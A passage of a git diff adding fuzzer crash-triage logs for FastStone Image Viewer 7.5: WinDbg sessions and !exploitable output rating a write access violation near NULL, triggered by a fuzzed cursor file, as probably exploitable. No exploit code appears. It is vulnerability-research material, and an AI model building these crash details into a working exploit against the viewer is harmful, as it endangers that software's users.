0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002ec000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002ec000 90e013f4 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002ec000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..738e570 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1488: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1488: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1488.1fa8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f27b19 edx=00000000 esi=00000000 edi=0f668fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.755120800610796640000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.228190000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.48972e-037 2.95982e-011 -1.86528e-007 1.40467e+017 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08008130 07f85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002ec000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002ec000 90e013f4 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002ec000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..0f45741 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/63313/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d435baf Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..22f6545 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xCA4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xCA4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ca4.e3c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07f57b19 edx=00000000 esi=00000000 edi=07d80fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.489660000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.99336e+026 6.24616e+022 -7.39333e-026 -630888 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002b3000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002b3000 0e75e9e8 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6297 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002b3000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 